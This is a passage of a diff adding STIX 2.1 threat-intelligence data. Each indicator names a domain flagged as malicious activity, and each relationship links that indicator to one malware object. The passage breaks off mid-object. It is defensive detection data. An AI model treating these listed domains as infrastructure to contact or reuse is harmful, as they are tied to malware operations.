"[domain-name:value='diabolicfraction.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.340139Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4dc1d45c-dba3-49b8-ab38-692240e1d24c", + "created": "2023-03-29T12:58:44.340849Z", + "modified": "2023-03-29T12:58:44.340849Z", + "relationship_type": "indicates", + "source_ref": "indicator--ea8e9344-f146-4be6-b8c4-19b3e73ebfef", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--53c3e3bf-c7cb-46a8-9745-b3214ee36465", + "created": "2023-03-29T12:58:44.341021Z", + "modified": "2023-03-29T12:58:44.341021Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='parmesanpreshow.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.341021Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2b887d9b-b82d-4338-a04d-7fec20099450", + "created": "2023-03-29T12:58:44.341626Z", + "modified": "2023-03-29T12:58:44.341626Z", + "relationship_type": "indicates", + "source_ref": "indicator--53c3e3bf-c7cb-46a8-9745-b3214ee36465", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--29b58ebf-11b6-43d6-8e4b-7a9e3d556726", + "created": "2023-03-29T12:58:44.341797Z", + "modified": "2023-03-29T12:58:44.341797Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='velvetroad.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.341797Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6bebdf5c-1382-43ec-a690-5c59c2daa95a", + "created": "2023-03-29T12:58:44.342384Z", + "modified": "2023-03-29T12:58:44.342384Z", + "relationship_type": "indicates", + "source_ref": "indicator--29b58ebf-11b6-43d6-8e4b-7a9e3d556726", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a274f764-b343-46a7-b490-88e5898e7583", + "created": "2023-03-29T12:58:44.342556Z", + "modified": "2023-03-29T12:58:44.342556Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bakeryanatomist.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.342556Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--704b866a-9816-4c84-ace5-7a796a16f690", + "created": "2023-03-29T12:58:44.343149Z", + "modified": "2023-03-29T12:58:44.343149Z", + "relationship_type": "indicates", + "source_ref": "indicator--a274f764-b343-46a7-b490-88e5898e7583", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dd1d5d74-5723-4337-ac79-a23363671a5b", + "created": "2023-03-29T12:58:44.343317Z", + "modified": "2023-03-29T12:58:44.343317Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bothblooper.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.343317Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4c50283a-6f35-4abb-af56-a3608ca6992e", + "created": "2023-03-29T12:58:44.343909Z", + "modified": "2023-03-29T12:58:44.343909Z", + "relationship_type": "indicates", + "source_ref": "indicator--dd1d5d74-5723-4337-ac79-a23363671a5b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--86c1b047-754b-4e92-9990-6537624fe3e6", + "created": "2023-03-29T12:58:44.344079Z", + "modified": "2023-03-29T12:58:44.344079Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='muppetstubbly.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.344079Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ca30a2af-a206-4465-8131-a062f6fb3644", + "created": "2023-03-29T12:58:44.344672Z", + "modified": "2023-03-29T12:58:44.344672Z", + "relationship_type": "indicates", + "source_ref": "indicator--86c1b047-754b-4e92-9990-6537624fe3e6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a833a01c-623a-42bd-99f8-a4fb6843ca6d", + "created": "2023-03-29T12:58:44.344841Z", + "modified": "2023-03-29T12:58:44.344841Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tincansblue.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.344841Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--68c91f04-d7a7-4ac8-95da-873ac6aa1dd5", + "created": "2023-03-29T12:58:44.345429Z", + "modified": "2023-03-29T12:58:44.345429Z", + "relationship_type": "indicates", + "source_ref": "indicator--a833a01c-623a-42bd-99f8-a4fb6843ca6d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8d34c932-daa3-4abf-9180-51a3b09fb514", + "created": "2023-03-29T12:58:44.345602Z", + "modified": "2023-03-29T12:58:44.345602Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rejoicethee.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.345602Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--447d9b7c-42f8-4366-9956-07d409843ac4", + "created": "2023-03-29T12:58:44.346194Z", + "modified": "2023-03-29T12:58:44.346194Z", + "relationship_type": "indicates", + "source_ref": "indicator--8d34c932-daa3-4abf-9180-51a3b09fb514", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--35c1b6b4-a0c9-41ac-a5b0-a9bd1f4dd67b", + "created": "2023-03-29T12:58:44.346362Z", + "modified": "2023-03-29T12:58:44.346362Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='asparagusdeviation.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.346362Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1a14f5c7-2a51-4935-bc8d-a81e4cfc7833", + "created": "2023-03-29T12:58:44.346968Z", + "modified": "2023-03-29T12:58:44.346968Z", + "relationship_type": "indicates", + "source_ref": "indicator--35c1b6b4-a0c9-41ac-a5b0-a9bd1f4dd67b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a24a06b6-c782-4cc5-ba8f-e9704aee5235", + "created": "2023-03-29T12:58:44.347136Z", + "modified": "2023-03-29T12:58:44.347136Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='carmania7.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.347136Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4983a2fd-1a56-434b-960f-241b59d173a0", + "created": "2023-03-29T12:58:44.34794Z", + "modified": "2023-03-29T12:58:44.34794Z", + "relationship_type": "indicates", + "source_ref": "indicator--a24a06b6-c782-4cc5-ba8f-e9704aee5235", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a4610a07-2bfc-446e-8966-a0004bfc2551", + "created": "2023-03-29T12:58:44.348116Z", + "modified": "2023-03-29T12:58:44.348116Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jailbirdundermost.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.348116Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ceda61ab-c589-40b6-9991-b7c2f1528d05", + "created": "2023-03-29T12:58:44.348719Z", + "modified": "2023-03-29T12:58:44.348719Z", + "relationship_type": "indicates", + "source_ref": "indicator--a4610a07-2bfc-446e-8966-a0004bfc2551", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--04769d15-72fb-407f-a79f-ca9f71d21134", + "created": "2023-03-29T12:58:44.348888Z", + "modified": "2023-03-29T12:58:44.348888Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='snoredecathlon.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.348888Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f2e35524-c4eb-40fb-b275-ee89a83d1e2a", + "created": "2023-03-29T12:58:44.34948Z", + "modified": "2023-03-29T12:58:44.34948Z", + "relationship_type": "indicates", + "source_ref": "indicator--04769d15-72fb-407f-a79f-ca9f71d21134", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--00ffca67-f38b-42a9-8516-b4e80f400048", + "created": "2023-03-29T12:58:44.349655Z", + "modified": "2023-03-29T12:58:44.349655Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='misticwawes.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.349655Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e63dba57-7488-4212-b54f-4426b75efb24", + "created": "2023-03-29T12:58:44.350246Z", + "modified": "2023-03-29T12:58:44.350246Z", + "relationship_type": "indicates", + "source_ref": "indicator--00ffca67-f38b-42a9-8516-b4e80f400048", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--16d2921e-3607-4c91-9de2-5cdffa0ced75", + "created": "2023-03-29T12:58:44.350414Z", + "modified": "2023-03-29T12:58:44.350414Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hardymagnetic.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.350414Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--baef7e7c-32b6-4d60-bd4e-95cfb2675eb8", + "created": "2023-03-29T12:58:44.351005Z", + "modified": "2023-03-29T12:58:44.351005Z", + "relationship_type": "indicates", + "source_ref": "indicator--16d2921e-3607-4c91-9de2-5cdffa0ced75", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fb7e1ee6-4e0f-4612-81e7-0b454e8e3dea", + "created": "2023-03-29T12:58:44.35117Z", + "modified": "2023-03-29T12:58:44.35117Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gonadunskilled.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.35117Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c2f3b4ed-733a-4cd3-9693-1b26de404945", + "created": "2023-03-29T12:58:44.351765Z", + "modified": "2023-03-29T12:58:44.351765Z", + "relationship_type": "indicates", + "source_ref": "indicator--fb7e1ee6-4e0f-4612-81e7-0b454e8e3dea", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--51c13189-bd0f-4659-883c-1de2fb86dc19", + "created": "2023-03-29T12:58:44.351932Z", + "modified": "2023-03-29T12:58:44.351932Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kneeunmovable.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.351932Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a47d4ab2-da2a-4117-b567-a7736a003fea", + "created": "2023-03-29T12:58:44.352536Z", + "modified": "2023-03-29T12:58:44.352536Z", + "relationship_type": "indicates", + "source_ref": "indicator--51c13189-bd0f-4659-883c-1de2fb86dc19", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--20ee67b1-dd44-45cd-8929-4e4f95a90c68", + "created": "2023-03-29T12:58:44.352716Z", + "modified": "2023-03-29T12:58:44.352716Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='choosinggorgeous.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.352716Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--61209e1a-37d9-4b97-9135-cb3202e11430", + "created": "2023-03-29T12:58:44.353314Z", + "modified": "2023-03-29T12:58:44.353314Z", + "relationship_type": "indicates", + "source_ref": "indicator--20ee67b1-dd44-45cd-8929-4e4f95a90c68", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b510b82f-56bb-4cbd-a4e7-ffac450d2359", + "created": "2023-03-29T12:58:44.353487Z", + "modified": "2023-03-29T12:58:44.353487Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='portholechemo.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.353487Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--040bf1f0-5f2c-436e-a92d-77482630d3e1", + "created": "2023-03-29T12:58:44.354089Z", + "modified": "2023-03-29T12:58:44.354089Z", + "relationship_type": "indicates", + "source_ref": "indicator--b510b82f-56bb-4cbd-a4e7-ffac450d2359", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--98e012b5-563d-425d-b43c-b04b2a82988e", + "created": "2023-03-29T12:58:44.354259Z", + "modified": "2023-03-29T12:58:44.354259Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='likenessharmony.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.354259Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--49454655-5044-4f61-9cd6-0c717cb6551b", + "created": "2023-03-29T12:58:44.355254Z", + "modified": "2023-03-29T12:58:44.355254Z", + "relationship_type": "indicates", + "source_ref": "indicator--98e012b5-563d-425d-b43c-b04b2a82988e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9517c4a3-4981-4129-abfb-ea9041b5ccb4", + "created": "2023-03-29T12:58:44.355427Z", + "modified": "2023-03-29T12:58:44.355427Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='crookoat.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.355427Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--70f07ac1-e973-4fa2-be22-7057a98e8a37", + "created": "2023-03-29T12:58:44.356011Z", + "modified": "2023-03-29T12:58:44.356011Z", + "relationship_type": "indicates", + "source_ref": "indicator--9517c4a3-4981-4129-abfb-ea9041b5ccb4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1bea2042-fbd9-47f7-abef-784f031cd8db", + "created": "2023-03-29T12:58:44.356179Z", + "modified": "2023-03-29T12:58:44.356179Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cetajude.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.356179Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a47aa59a-2d85-4d4b-ae49-e22382e98cea", + "created": "2023-03-29T12:58:44.356762Z", + "modified": "2023-03-29T12:58:44.356762Z", + "relationship_type": "indicates", + "source_ref": "indicator--1bea2042-fbd9-47f7-abef-784f031cd8db", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2aaa6fee-4b2c-4d3d-9f6d-df6236cbbcae", + "created": "2023-03-29T12:58:44.356929Z", + "modified": "2023-03-29T12:58:44.356929Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sworeserve.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.356929Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6cd4029d-fe9d-4461-b0f0-850e2f288b39", + "created": "2023-03-29T12:58:44.357517Z", + "modified": "2023-03-29T12:58:44.357517Z", + "relationship_type": "indicates", + "source_ref": "indicator--2aaa6fee-4b2c-4d3d-9f6d-df6236cbbcae", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e1aba189-653c-402a-951e-540322759a47", + "created": "2023-03-29T12:58:44.357689Z", + "modified": "2023-03-29T12:58:44.357689Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='encryptknee.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.357689Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9c5abd1b-610e-4c16-9ef4-89653bd20f8c", + "created": "2023-03-29T12:58:44.358275Z", + "modified": "2023-03-29T12:58:44.358275Z", + "relationship_type": "indicates", + "source_ref": "indicator--e1aba189-653c-402a-951e-540322759a47", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--65135f62-e704-46ef-8a29-b1f2368d7945", + "created": "2023-03-29T12:58:44.358442Z", + "modified": "2023-03-29T12:58:44.358442Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='showpiecescanner.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.358442Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--17c17743-aead-4d56-b6dd-182beef3cbad", + "created": "2023-03-29T12:58:44.359035Z", + "modified": "2023-03-29T12:58:44.359035Z", + "relationship_type": "indicates", + "source_ref": "indicator--65135f62-e704-46ef-8a29-b1f2368d7945", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--94568adf-6365-4268-b6b7-952d0b2ce730", + "created": "2023-03-29T12:58:44.359204Z", + "modified": "2023-03-29T12:58:44.359204Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='startcakein.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.359204Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--be823b82-b153-4be6-b557-5da9bcfb2720", + "created": "2023-03-29T12:58:44.35979Z", + "modified": "2023-03-29T12:58:44.35979Z", + "relationship_type": "indicates", + "source_ref": "indicator--94568adf-6365-4268-b6b7-952d0b2ce730", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cf958103-4ba6-423f-a9f8-cd0535af5bf0", + "created": "2023-03-29T12:58:44.359958Z", + "modified": "2023-03-29T12:58:44.359958Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='supporttry.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.359958Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8aed1611-d2da-44be-b68e-9f5fd99067f5", + "created": "2023-03-29T12:58:44.360552Z", + "modified": "2023-03-29T12:58:44.360552Z", + "relationship_type": "indicates", + "source_ref": "indicator--cf958103-4ba6-423f-a9f8-cd0535af5bf0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ce214ec3-3a72-4fb2-b70a-5ab5e223a8e6", + "created": "2023-03-29T12:58:44.36072Z", + "modified": "2023-03-29T12:58:44.36072Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='slumglorified.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.36072Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--347b547b-217f-4912-af62-905305cbcd8b", + "created": "2023-03-29T12:58:44.361312Z", + "modified": "2023-03-29T12:58:44.361312Z", + "relationship_type": "indicates", + "source_ref": "indicator--ce214ec3-3a72-4fb2-b70a-5ab5e223a8e6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6c43afb1-4f82-496c-aa3c-b016d683e44e", + "created": "2023-03-29T12:58:44.361479Z", + "modified": "2023-03-29T12:58:44.361479Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dealingmolehill.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.361479Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e380fc3e-40aa-4951-91bc-dedb028966ec", + "created": "2023-03-29T12:58:44.362076Z", + "modified": "2023-03-29T12:58:44.362076Z", + "relationship_type": "indicates", + "source_ref": "indicator--6c43afb1-4f82-496c-aa3c-b016d683e44e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3a9e876d-6dac-46a5-9ffb-16559dde7ca7", + "created": "2023-03-29T12:58:44.362244Z", + "modified": "2023-03-29T12:58:44.362244Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vetostate.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.362244Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8c6eab14-7fa4-41c1-89b4-aa9456740830", + "created": "2023-03-29T12:58:44.362949Z", + "modified": "2023-03-29T12:58:44.362949Z", + "relationship_type": "indicates", + "source_ref": "indicator--3a9e876d-6dac-46a5-9ffb-16559dde7ca7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fa2d3b6c-7f05-4e78-bd27-ae5fb3eb80a1", + "created": "2023-03-29T12:58:44.363121Z", + "modified": "2023-03-29T12:58:44.363121Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='strumidly.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.363121Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0b5cb099-1275-4758-9c07-cf7b6fe9ae13", + "created": "2023-03-29T12:58:44.363708Z", + "modified": "2023-03-29T12:58:44.363708Z", + "relationship_type": "indicates", + "source_ref": "indicator--fa2d3b6c-7f05-4e78-bd27-ae5fb3eb80a1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--666f4318-ce6e-4b00-8e16-ca55cba993ba", + "created": "2023-03-29T12:58:44.363893Z", + "modified": "2023-03-29T12:58:44.363893Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='primapartita.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.363893Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dc5a81ac-099a-46fe-b5a6-01d8ebc2f9b7", + "created": "2023-03-29T12:58:44.364483Z", + "modified": "2023-03-29T12:58:44.364483Z", + "relationship_type": "indicates", + "source_ref": "indicator--666f4318-ce6e-4b00-8e16-ca55cba993ba", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2631b910-329b-45a6-9cd3-8de81ece6b4e", + "created": "2023-03-29T12:58:44.36465Z", + "modified": "2023-03-29T12:58:44.36465Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='clearblackpass.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.36465Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b6923464-9a3a-4257-a0f4-9f3abfa41ea8", + "created": "2023-03-29T12:58:44.365241Z", + "modified": "2023-03-29T12:58:44.365241Z", + "relationship_type": "indicates", + "source_ref": "indicator--2631b910-329b-45a6-9cd3-8de81ece6b4e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8703691c-d299-4a8f-a642-3419507d659b", + "created": "2023-03-29T12:58:44.36541Z", + "modified": "2023-03-29T12:58:44.36541Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='petitionunadorned.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.36541Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--187eda80-48e2-49d9-a6a3-2a5804938103", + "created": "2023-03-29T12:58:44.36601Z", + "modified": "2023-03-29T12:58:44.36601Z", + "relationship_type": "indicates", + "source_ref": "indicator--8703691c-d299-4a8f-a642-3419507d659b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--447df0a2-4909-4342-ac8f-22f96896de2f", + "created": "2023-03-29T12:58:44.366178Z", + "modified": "2023-03-29T12:58:44.366178Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='goingsystem.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.366178Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--370dab0b-838c-47cf-b963-226c38fa81c2", + "created": "2023-03-29T12:58:44.366768Z", + "modified": "2023-03-29T12:58:44.366768Z", + "relationship_type": "indicates", + "source_ref": "indicator--447df0a2-4909-4342-ac8f-22f96896de2f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--edada619-66c2-42ba-ace8-a238f57281c9", + "created": "2023-03-29T12:58:44.366933Z", + "modified": "2023-03-29T12:58:44.366933Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='judodirectory.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.366933Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9fa51420-e5e7-41c2-838b-899f6dbabf46", + "created": "2023-03-29T12:58:44.367523Z", + "modified": "2023-03-29T12:58:44.367523Z", + "relationship_type": "indicates", + "source_ref": "indicator--edada619-66c2-42ba-ace8-a238f57281c9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--74e7124c-5fe2-418b-9414-7b4044d889ae", + "created": "2023-03-29T12:58:44.36769Z", + "modified": "2023-03-29T12:58:44.36769Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='germproofpapyrus.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.36769Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7774dd0f-8208-4b44-8047-5f8d4eff1bc2", + "created": "2023-03-29T12:58:44.368287Z", + "modified": "2023-03-29T12:58:44.368287Z", + "relationship_type": "indicates", + "source_ref": "indicator--74e7124c-5fe2-418b-9414-7b4044d889ae", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0eba76f2-06cc-4bb0-a9c2-450e2b1fbad6", + "created": "2023-03-29T12:58:44.368454Z", + "modified": "2023-03-29T12:58:44.368454Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='envyupturned.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.368454Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bfc5d585-bba0-4abb-8dbd-536fb26b5df3", + "created": "2023-03-29T12:58:44.369045Z", + "modified": "2023-03-29T12:58:44.369045Z", + "relationship_type": "indicates", + "source_ref": "indicator--0eba76f2-06cc-4bb0-a9c2-450e2b1fbad6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--46365d1f-c474-4564-bdda-758d973fd9b4", + "created": "2023-03-29T12:58:44.369213Z", + "modified": "2023-03-29T12:58:44.369213Z", + 